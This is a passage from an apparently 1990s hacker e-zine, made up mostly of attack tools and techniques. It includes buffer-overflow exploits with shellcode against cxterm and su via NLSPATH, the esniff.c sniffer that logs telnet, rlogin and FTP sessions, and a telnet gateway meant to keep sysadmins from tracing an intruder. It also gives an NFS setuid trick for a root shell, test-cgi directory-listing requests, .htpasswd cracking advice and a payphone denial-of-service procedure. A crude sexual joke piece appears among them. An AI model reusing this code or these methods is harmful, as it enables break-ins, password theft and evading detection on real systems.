argc, char *argv[]) { int i,a; long val; if(argc>1) a=atoi(argv[1]); else a=0; strcpy(username,shell); for(i=strlen(shell);i> 8; username[i+2] = (val & 0x00ff0000) >> 16; username[i+3] = (val & 0xff000000) >> 24; } username[ sizeof(username) ] = 0; printf("GET %s\n/bin/bash -i 2>&1;\n", username); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. Telnet gateway : Chaos 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* (--------------------------------------------------------) Telnet Gateway by Chaos (--------------------------------------------------------) Ever worry about some egotistical sysadmin getting pissed off when you hack his system, and having him trace it back to your local system? If you are like most hackers, even if you are careful and telnet through another system first, it is still fairly easy to trace back through. Using the following program bellow you can make it a real bitch for anyone to find where you are coming from, let alone what account. This program, which has only been tested on Sun OS, will allocate a port and set up a telnet gateway. Because this program only allocates a socket, in order for someone to trace it back to you, the sysadmin of the system it is set up on would have to monitor the socket and see where the connection is coming from, which is not very likely, the sysadmin already has plenty to do. This is setup currently to port 6969 and will run in the background. Be sure to call it something that will not gather any suspicion from anyone running ps -aux. This will also write to the file log, the date and time anyone uses the telnet gateway. Have phun! Thanks go out to al- for the original source code. */ #include #include #include #include #include #include #include #include #include #include #include #include FILE *errfd; static int serfd; struct sockaddr_in addr; char buffer[10][80]; int sockused[10]; int numports = 10; int numproc=0; died() { numproc--; wait3(NULL,WNOHANG,NULL); signal(SIGCLD,died); return; } init_io() { signal(SIGCLD,died); if ((serfd = socket(AF_INET,SOCK_STREAM,0)) <0 ) return(1); addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = 6969; if (bind(serfd,(struct sockaddr *)&addr, sizeof(addr))) { fprintf(errfd,"ioinit cannot bind socket\n"); exit(1); } if (listen(serfd,5) == -1) { fprintf(errfd,"ioinit cannot listen at socket\n"); return(1); } return(0); } getconnect() { int s,length; struct sockaddr_in address; while(1) { length= sizeof addr; while ((s= accept(serfd,&address,&length))<0); wait3(NULL,WNOHANG,NULL); if (fork() == 0) /* child */ { system("date >>log"); numproc++; dup2(s,0); dup2(s,1); dup2(s,2); close(s); system("exec telnet"); kill(getpid(),SIGKILL); close(0); close(1); close(2); exit; } /* end child */ close(s); wait3(NULL,WNOHANG,NULL); } } main() { int i; char temp[80],*term; int fd; for(i=0;i<36;i++) close(i); errfd=fopen("ERR","w"); if(errfd==NULL) return(-1); setsid(); if(fork()!=0) return(-1); init_io(); getconnect(); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. 0wned.c : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* THIS IS FUCKING PRIVATE SHIT, DONT DISTRIBUTE IT!@# */ /* I CODED THIS QUICKLY ONE NIGHT, IT WILL ROOT ANY LINUX 2.0.x BOX */ /* -D-O- -N-O-T- -D-I-S-T-R-I-B-U-T-E- */ /* so1o@insecurity.org */ main() { char a1='j',a2='0',a3='a',a4='r',a5='3'; char b1='w',b2='n',b3='d'; printf("%c%c%c %c%c%c\n",a1,a2,a2,a3,a4,a5); printf("%c %c %c %c %c\n\n",a2,b1,b2,a5,b3); printf("By so1o@insecurity.org 1997\n"); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 6. Cxterm exploit for Linux : Ming Zhang 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* cxterm buffer overflow exploit for Linux. This code is tested on both Slackware 3.1 and 3.2. Ming Zhang mzhang@softcom.net */ #include #include #include #include #define CXTERM_PATH "/usr/X11R6/bin/cxterm" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i,OffSet = DEFAULT_OFFSET; /* use a different offset if you find this program doesn't do the job */ if (argc>1) OffSet = atoi(argv[1]); buff = malloc(2048); if(!buff) { printf("Buy more RAM!\n"); exit(0); } ptr = buff; for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) { memcpy (ptr,nop,NOP_SIZE); ptr+=NOP_SIZE; } for(i=0;i < strlen(shellcode);i++) *(ptr++) = shellcode[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_sp() + OffSet; ptr = (char *)addr_ptr; *ptr = 0; (void) fprintf(stderr, "This bug is discovered by Ming Zhang (mzhang@softcom.net)\n"); /* Don't need to set ur DISPLAY to exploit this one, cool huh? */ execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 7. The king of all sniffers : esniff.c : unknown 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* [JOIN THE POSSE!] */ /* Esniff.c */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; #define NIT_DEV "/dev/nit" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE+32]; void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) #define MAXBUFLEN (128) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \ CLtmp->SRCip.s_addr = SIP.s_addr; \ CLtmp->DSTip.s_addr = DIP.s_addr; \ CLtmp->SRCport = SPORT; \ CLtmp->DSTport = DPORT; \ CLtmp->Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLtmp->PKcnt = 1; \ CLtmp->Next = CLroot; \ CLtmp->Last = NULL; \ CLroot = CLtmp; \ } register struct CREC *GET_NODE(Sip,SP,Dip,DP) register struct in_addr Sip,Dip; register u_int SP,DP; { register struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ CL->Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- >0) { \ if(*dp < 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIMENext; \ if(CLe->Time ether_type); if(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( (TCPD == IPPORT_TELNET) || (TCPD == IPPORT_LOGINSERVER) || (TCPD == IPPORT_FTP) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0) if( (CLm->Length + length) < MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, "DATA LIMIT"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } /* signal handler */ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ void do_it() { int cc; char *buf; u_short sp_ts_len; if(!(buf=malloc(CHUNKSIZE))) Pexit(1,"Eth: malloc"); /* this /dev/nit initialization code pinched from etherfind */ { struct strioctl si; struct ifreq ifr; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1,"Eth: nit open"); if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) Pexit(1,"Eth: ioctl (I_SRDOPT)"); si.ic_timout = INFTIM; if(ioctl(if_fd, I_PUSH, "nbuf") < 0) Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")"); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)"); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(ifr); si.ic_dp = (char *)𝔦 if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)"); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,"Eth: ioctl (I_FLUSH)"); } while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf, *bufstop = (buf + cc); while (bp < bufstop) { register char *cp = bp; register struct nit_bufhdr *hdrp; hdrp = (struct nit_bufhdr *)cp; cp += sizeof(struct nit_bufhdr); bp += hdrp->nhb_totlen; filter(cp, (u_long)hdrp->nhb_msglen); } } Pexit((-1),"Eth: read"); } /* Authorize your proogie,generate your own password and uncomment here */ /* #define AUTHPASSWD "EloiZgZejWyms" */ void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,"(%s)UP? ",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } */ void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; /* getauth(); */ LOG=NULL; device=NULL; while((acifr_name; } fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0; } if(backg) { register int s; if((s=fork())>0) { fprintf(ERR,"[pid %d]\n",s); exit(0); } else if(s<0) Pexit(1,"fork"); if( (s=open("/dev/tty",O_RDWR))>0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s); } } fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG); do_it(); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 8. Linux nlspath exploit : Solar Designer 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1 * by Solar Designer, 1997. */ #include #include #include char *shellcode = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04" "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb" "\xcd\x80/" "/bin/sh" "0"; char *get_sp() { asm("movl %esp,%eax"); } #define bufsize 2048 char buffer[bufsize]; main() { int i; for (i = 0; i < bufsize - 4; i += 4) *(char **)&buffer[i] = get_sp() - 3072; memset(buffer, 0x90, 512); memcpy(&buffer[512], shellcode, strlen(shellcode)); buffer[bufsize - 1] = 0; setenv("NLSPATH", buffer, 1); execl("/bin/su", "/bin/su", NULL); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. How to fuck over a UK payphone : so1o / NightRage 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� We found this out by total coincidence at the Bristol 2600 meeting... This is a DoS (Denial of Service) attack for payphones in the UK, it uses the national test number (175) and your local test number - at your local excahnge, which in Bristol is 17070 (I think), so you do the following... 1) Approach the telephone booth. 2) Pick up the handset. 3) Put 10p into the phone - you will get this back. 4) Dial your local excahnge test number. 5) Put the handset down. 6) Pick the handset up. 7) Dial your national exchange test number. 8) Listen to all the noise and shit for about 10 seconds. 9) Put the handset down. The LCD display in the booth will now say words to the following.. "BT Apologise, but this telephone is out of order." About 30 seconds later, the phone will return back to normal. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Radio link for TI-85 calculators : Michael Jan 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ******************************************************************** -- INTRO ----------------------------------------------------------- ******************************************************************** RT LINK (Radio transfer link) basicly functions like a regular TI-LINK except it is wireless! The parts for making this link will cost around $15 - $20 dollars for a pair, and the frequency is adjustable. You may post & share this plan. But please give me credit for my work (at least put my name, Michael Jan). I TESTED this plan, they transfer within the range of 30 to 50 feet. (Which is more than what I expected, great!). The following are the parts you need, you can obtain them at R.S. ******************************************************************** -- PARTS ----------------------------------------------------------- ******************************************************************** PARTS VALUE QUANTITY -------------------------------------------------------------------- TI LINK [TI BLACK LINK] 1 (Cut Into 2) Capacitors [470 pF] 2 [100 pF] 2 [10 pF] 2 [4 pF] 4 [.01 uF] 2 [10 uF] 4 Resistors [10K Ohm] 2 [1.2K Ohm] 2 [33K Ohm] 4 [100 Ohm] 2 [180 Ohm] 2 Transistors [2SC1923] 4 Coil(L) [.27-.3] 4 Battery Holder [Holds 2 AA or 2 AAA] 2 Batteries [AA or AAA] 4 Diode [Germanium] 2 Copper Wire [2 Feet] 2 (Ant.) ***************************************************************************** *** NOTE The Parts Are For TWO RT LINKs, Because They ONLY WORK In PAIRS! *** ***************************************************************************** ******************************************************************* -- DIRECTIONS ----------------------------------------------------- ******************************************************************* 1. Print Out The Schematic Diagram (The Included GIF File), It is Easier To Put Parts Together. 2. Put The Parts Together By Following The Diagram (VERY IMPORTANT). *** NOTE For Schematic Diagram -- Red Wire = From TI Link White Wire = From TI Link (Copper Wire From TI Link Will Not Be Use) R = Resistors C = Capacitors T = Transistors Connect +, - To Battery Holder 3. Adjust The 4 Coil(L)s Clockwise To MAX On Both RT Links. This Will Adjust The Frequences On Both LINKs To Be The Same. (You Can Adjust To Any Frequence You Like Between 90MHz-100MHz) 4. Put 2 Batteries Into Both Holders 5. THAT'S IT!!!, ENJOY YOU RT-LINK !!!! =) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Test-cgi holes : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Example exploit: ---------------- Below are examples, nc is netcat from avian.org. You can always just telnet to port 80 and type in the GET... command. machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is /\*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = ...Or to see what other cgi-goodies are still floating around... machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is \*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html mail-query mail-query-2 majordomo majordomo.cf marker.cgi menu message.cgi munger.cgi munger.note ncsa-default.tar post-query query smartlist.cf src subscribe.cf test-cgi uptime REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Tree raping : digitalboy [DD] 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Tree raping can be an exciting and fulfilling hobby, as long as the proper safety precautions are taken. This file will try to outline the process of tree raping, as well as give you some background on the sport of tree raping. \|/ History \|/ Tree raping originated in Eastern Africa long before history was recorded. It was practiced by tribes of natives who used it as a test to determine the tribal chief. He who could rape the most trees was surely the most powerful, and therefore the rightful leader. The sexual molestation of trees was kept a tribal secret, and no outsiders learned of the practice until the late 1800's when Spanish explorer Hernando Ferdinando Enriquez happened to witness the event. He was killed by the natives he had been watching, but before his death he wrote of it in his journal. In 1937, a nun found the journal and the methods of tree raping were spread to the rest of the civilized world. \|/ Preparation \|/ Tree raping is not something you can just go out and do. You must be prepared. First and foremost, find a forest. While some of the best trees are found in urban settings, violating them will usually land you in the city jail. Not to mention the public ridicule. No, this is an activity that must take place in a relatively secluded part of a forest. Bring a few friends if that is your fancy, but large tree raping orgies usually lessen the enjoyment. You must also bring a large vat of maple syrup and possible climbing equipment, this will be explained later. \|/ Tree Selection \|/ Picking the right tree to violate is essential. If you pick the wrong tree, you could end up feeling inadequate, as well as inflicting serious physical injury upon yourself. Everyone has their own preference as to what type of tree to choose, but there are some general guidelines. The most vital factor you have to consider is the position of knotholes. If a knothole is not present, you may be forced to create your own. Any seasoned tree rapist always carries his trusty power drill. Also, be sure to measure the depth of the knothole. The texture of the bark is also important. Extremely rough bark can ruin your experience. Try to find a tree with smooth bark, such as a birch. Note that you are not limited to the part of the tree at ground level. Bring some climbing equipment and you can easily reach the desired level. \|/ The Act Of Tree Raping \|/ Tree raping always has and always must be done in complete nudity. Now, remember that you were required to bring along a vat of maple syrup. This object will now come into play. First, heat it to exactly 54.7 degrees Celsius. Next lift the syrup over your head and pour it over your body. Count to 112, then lie down and roll around on the forest floor. You are now ready to begin the ritual. Approach the tree you have picked while screaming "TSAK NARP FNORZA QKWT" as loud as possible. Penetrate the tree and proceed to violate it. Try to keep moving, the maple syrup can be a powerful bonding agent. When you are finished you will have to find your own method of removing the maple syrup. \|/ The End \|/ Avoid Pine trees AT ALL COSTS! 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. .htpasswd + .htaccess : Cain [DD] 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Well, I'm back. I should have put this article out last month, but I neglected to. Flames to /dev/null. Well anyway, you know how sometimes when you connect to a web page, you are asked for a username and password? Well, here's how that works. In a directory there is a file almost always called .htpasswd. And in another directory(or possibly that same one) there is a file called .htaccess. The .htpasswd file follows basically the same format as the /etc/passwd file: jblow:F#.DG*m38d%RF cain:GJA54j.3g9#$@f and the .htaccess file follows this format: AuthUserFile /path/to/.htpasswd require user If there is an .htaccess file in a directory, you must have a valid username and password to view any files in that directory. So here is what happens, the httpd sees the .htaccess file in the directory that you request a file from. It finds the location of the .htpasswd file and then find out who has access to the files in the directory. Therefore you must have a username and password. Well here's the bug: Only the files in the directory with the .htaccess file are passworded. So if the .htpasswd file is somewhere else (root directory maybe) then you can read that file. It uses the same form as /etc/passwd so therefore password crackers will work on this also. Insta hack if the webmaster doesn't know what he's doing. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. Simple NFS skills : Cain [DD] 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� You are searching around for a system to hack. One of the things you should check is whether they export any of the directories to everyone. Unfortunately you need a shell on the system to do this. But if you do, then this is an easy way to get root. Your local system: # showmount -r remote.com Export list for remote.com: /var/lib/stuff (everyone) # mount remote.com:/var/lib/stuff /mnt # cp hackprog /mnt # chown root.root /mnt/hackprog # chmod 4701 /mnt/hackprog # umount /mnt Their system: $ cd /var/lib/stuff $ hackprog bash# I chose the directories at random. But if you see anything like /path/to/exported/directory (everyone) in a showmount -r listing, you can mount that directory and have complete access(read, write, execute) to that directory. So if you put a rewting proggy: main() { setuid(0); setgid(0); system("/bin/sh"); } and make the owner root and chmod it to 4701(setuid) then you can run that program from the system exporting that directory and get a rewt shell. Unfortunately you must be root to mount an NFS, otherwise every system you got on, you could obtain a rewt shell. But oh well. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. LOPHT.COM : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� get into any shell, and type... % whois lopht.com its elite (lookup sIn inf0z to see) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. AAA Report : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� AAA stands for Access All Areas, it is a computer security and hacking conference held in the UK in early July of every year, this would be the third year of AAA, and myself and NightRage were going. Myself and NightRage arrived on Regent Street at 9:30am, we entered the University of Westminster building, purchased two passes for the event, and proceeded to the conference room, where there were many people aged between 16 and around 40, all with a handful of common interests, hacking, phreaking, carding and generally the ability to gain power, or "free stuff". We sat down on the ground floor near the back of the room, we got talking to a french hacker, called Leon (aka acme), we joked about "o-DaY WaReZ" and then Nightrage booted his p150 